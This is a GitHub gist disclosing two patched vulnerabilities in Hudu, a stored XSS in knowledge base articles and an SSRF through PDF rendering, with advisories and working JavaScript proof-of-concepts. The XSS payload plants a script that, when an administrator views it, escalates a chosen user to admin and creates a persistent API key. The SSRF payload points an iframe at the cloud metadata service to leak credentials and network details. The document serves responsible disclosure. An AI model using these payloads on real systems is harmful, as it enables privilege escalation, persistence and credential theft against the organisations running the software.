Skip to content

Instantly share code, notes, and snippets.

@justinbrick
Created July 1, 2026 19:36
Show Gist options
  • Select an option

  • Save justinbrick/fad199753a9a4afbaddda05651a45d15 to your computer and use it in GitHub Desktop.

Select an option

Save justinbrick/fad199753a9a4afbaddda05651a45d15 to your computer and use it in GitHub Desktop.
CVE-2026-36541 & CVE-2026-36542 Official Gist

README

This is a dual report of two vulnerabilities submitted during responsible closure w/ the magicians over @ Hudu.

I'd like to give a thanks to the team over at Hudu for their help in patching the vulnerability!

/**
* Hudu CVE-2026-36541 PoC
* While any particular payload could have been used, this just demonstrates with a visual UI that could be used to generate a
* key if ran by an administrative user.
*/
(async function() {
const token = document.querySelector('meta[name="csrf-token"]')?.content;
const targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace {kba_id} with the target article ID
// 1. The HTML and Script Payload to be stored in the KBA
const escalationPayload = `
<div id="escalation-panel" style="padding: 20px; border: 3px solid #e74c3c; background: #fff; color: #333; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.2); font-family: sans-serif; max-width: 400px; margin: 20px 0;">
<h2 style="margin: 0 0 15px 0; color: #e74c3c; font-size: 1.2em;">Administrative Control Panel</h2>
<div style="margin-bottom: 15px;">
<label style="display:block; margin-bottom: 5px; font-weight: bold;">Target User ID:</label>
<input type="text" id="target_user_id" placeholder="user slug here" style="width: 100%; padding: 8px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box;">
</div>
<div style="margin-bottom: 15px;">
<label style="display:block; margin-bottom: 5px; font-weight: bold;">User Identity Details:</label>
<input type="text" id="target_first_name" value="First" style="width: 48%; padding: 8px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box;">
<input type="text" id="target_last_name" value="Name" style="width: 49%; padding: 8px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box;">
<input type="email" id="target_email" value="user@example.com" style="width: 100%; padding: 8px; margin-top: 5px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box;">
</div>
<div style="display: flex; gap: 10px; margin-bottom: 20px;">
<button id="btn_admin" style="flex: 1; padding: 10px; background: #e74c3c; color: white; border: none; border-radius: 4px; cursor: pointer; font-weight: bold;">Set Admin</button>
<button id="btn_editor" style="flex: 1; padding: 10px; background: #34495e; color: white; border: none; border-radius: 4px; cursor: pointer; font-weight: bold;">Set Editor</button>
</div>
<hr style="border: 0; border-top: 1px solid #eee; margin-bottom: 15px;">
<button id="btn_api" style="width: 100%; padding: 12px; background: #27ae60; color: white; border: none; border-radius: 4px; cursor: pointer; font-weight: bold;">Create Persistence API Key</button>
<div id="status_msg" style="margin-top: 15px; font-size: 0.9em; padding: 10px; border-radius: 4px; display: none;"></div>
</div>
<script>
(function() {
const getCsrf = () => document.querySelector('meta[name="csrf-token"]')?.content || '';
const updatePermissions = async (role) => {
const id = document.getElementById('target_user_id').value;
const status = document.getElementById('status_msg');
if (!id) {
alert('A Target User ID is required.');
return;
}
const formData = new FormData();
formData.append('_method', 'patch');
formData.append('authenticity_token', getCsrf());
formData.append('user[first_name]', document.getElementById('target_first_name').value);
formData.append('user[last_name]', document.getElementById('target_last_name').value);
formData.append('user[email]', document.getElementById('target_email').value);
// Replicating the empty avatar fields
formData.append('user[avatar]', '');
// Empty text field
// Empty file field: name="user[avatar]", filename="", Content-Type: application/octet-stream
formData.append('user[avatar]', new Blob([]), '');
formData.append('user[security_level]', role);
// Replicating empty group and company IDs
formData.append('user[group_id]', '');
formData.append('user[company_id]', '');
formData.append('user[security_level]', role);
formData.append('commit', 'Update');
const res = await fetch('/admin/users/' + id, { method: 'POST', body: formData });
status.style.display = 'block';
status.style.background = res.ok ? '#d4edda' : '#f8d7da';
status.style.color = res.ok ? '#155724' : '#721c24';
status.innerText = res.ok ? 'Success: User ' + id + ' updated to ' + role : 'Error: Permission update failed.';
};
const generateKey = async () => {
const btn = document.getElementById('btn_api');
const status = document.getElementById('status_msg');
const params = new URLSearchParams();
params.append('authenticity_token', getCsrf());
params.append('api_key[name]', 'CVE XSS KEY');
params.append('api_key[magic_dash_scope]', 'false');
params.append('api_key[company_id]', '');
params.append('api_key[allowed_ips]', '');
params.append('api_key[password_access]', '0');
params.append('api_key[destructive_actions]', '0');
params.append('api_key[export_permissions]', '0');
params.append('commit', 'Create');
const res = await fetch('/admin/api_keys', {
method: 'POST',
body: params,
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});
if (res.ok) {
btn.disabled = true;
btn.style.background = '#95a5a6';
btn.style.cursor = 'default';
btn.innerText = 'API Key Created';
status.style.display = 'block';
status.style.background = '#d1ecf1';
status.style.color = '#0c5460';
status.innerText = 'Confirmation: "CVE XSS KEY" generated for persistent access.';
}
};
document.getElementById('btn_admin').onclick = () => updatePermissions('admin');
document.getElementById('btn_editor').onclick = () => updatePermissions('editor');
document.getElementById('btn_api').onclick = generateKey;
})();
<\/script>
`;
// 2. Perform the Injection
const formData = new URLSearchParams();
formData.append('_method', 'patch');
formData.append('authenticity_token', token);
formData.append('article[name]', 'Security Update Required: Administrative Policy');
formData.append('article[content]', escalationPayload);
const response = await fetch(targetUrl, {
method: 'POST',
body: formData,
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});
if (response.ok) {
console.log("Escalation panel successfully injected into KBA.");
} else {
console.error("Injection failed. Status code:", response.status);
}
})();

Security Advisory: Stored XSS Vulnerability on Hudu 2.39.6 via Un-sanitized Article Content

Date: 2026-02-18

CVE ID: CVE-2026-36541

CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Severity: 8.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)

Affected Versions: Versions prior to 2.41.1

Summary

A Stored Cross-Site Scripting (XSS) vulnerability exists within the Knowledge Base (KBA) article editor. The application fails to sanitize HTML input provided in the article[content] parameter during POST or PATCH requests. This allows an authorized user—or an attacker with a hijacked session—to persist malicious scripts within the database.

Technical Details

  • Endpoint: {client}.huducloud.com/kba/{kba_id}
  • Vulnerability Type: Stored Cross-Site Scripting (XSS)
  • Authentication Required: Yes (User session or API key)

The vulnerability allows an authorized user to persist malicious scripts within the database due to the application's failure to sanitize HTML input in the article[content] parameter.

  • Persistent Threat: Once an article is created, the malicious content remains active until it is programmatically removed.
  • Administrative Risk: A standard user cannot remove the malicious content through the web interface without first viewing and executing the script.
  • Session Hijacking: An attacker with a hijacked session can use these permissions to inject scripts that target other users, including administrators, to gain persistence or increase privilege.
  • Lack of Filtration: The application does not appear to filter HTML tags, including scripts or iframes, contained within the request contents.
/**
* Hudu CVE-2026-36542 PoC
* Extracts the CSRF token and performs a PATCH request, to be ran in the console of a browser.
* to inject an SSRF payload into a KBA article.
*/
(async function() {
const token = document.querySelector('meta[name="csrf-token"]')?.content;
const targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace with target ID
const formData = new URLSearchParams();
formData.append('_method', 'patch');
formData.append('authenticity_token', token);
formData.append('article[name]', 'Test Article - SSRF Vulnerability');
formData.append('article[content]', `
<iframe src="http://169.254.169.254/metadata/v1.json" width="100%" height="4300px"></iframe>
<script>
var info = "Platform: " + navigator.platform + "\\n" +
"UserAgent: " + navigator.userAgent + "\\n" +
"AppVersion: " + navigator.appVersion;
document.write("<pre>" + info + "</pre>");
<\/script>
`);
formData.append('article[folder_id]', '');
const response = await fetch(targetUrl, {
method: 'POST',
body: formData,
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});
if (response.ok) {
console.log("SSRF Payload injected successfully.");
} else {
console.error("Injection failed with status:", response.status);
}
})();

Security Advisory: SSRF Vulnerability on Hudu 2.39.6 from Un-sanitized PDF Parsing

Date: 2026-02-18

CVE ID: CVE-2026-36542

CWE: CWE-918 Server-Side Request Forgery (SSRF)

Severity: 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Affected Versions: Versions prior to 2.41.1

Summary

A vulnerability exists in the application's PDF generation service where un-sanitized HTML input is processed by the wkhtmltopdf rendering engine. This allows an attacker to execute arbitrary JavaScript within the server's context and perform Server-Side Request Forgery (SSRF). By targeting the internal DigitalOcean Metadata Service, it was possible to retrieve sensitive system configurations, internal network maps, and administrative credentials.

Technical Details

Endpoint: {client}.huducloud.com/kba/{kba_id}/renders

The successful retrieval of v1.json from the internal DigitalOcean Metadata Service resulted in the disclosure of the following sensitive information:

  • Infrastructure Identity: Disclosure of Droplet ID, Hostname, and Region.
  • Asset Leakage: Identification of an associated S3 bucket within the tags.
  • Credential Disclosure: Retrieval of the Droplet auth_key and the administrator's SSH public key.
  • Network Mapping: Exposure of internal VPC IP addresses, gateways, and routing logic for 2 internal subnet ranges.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment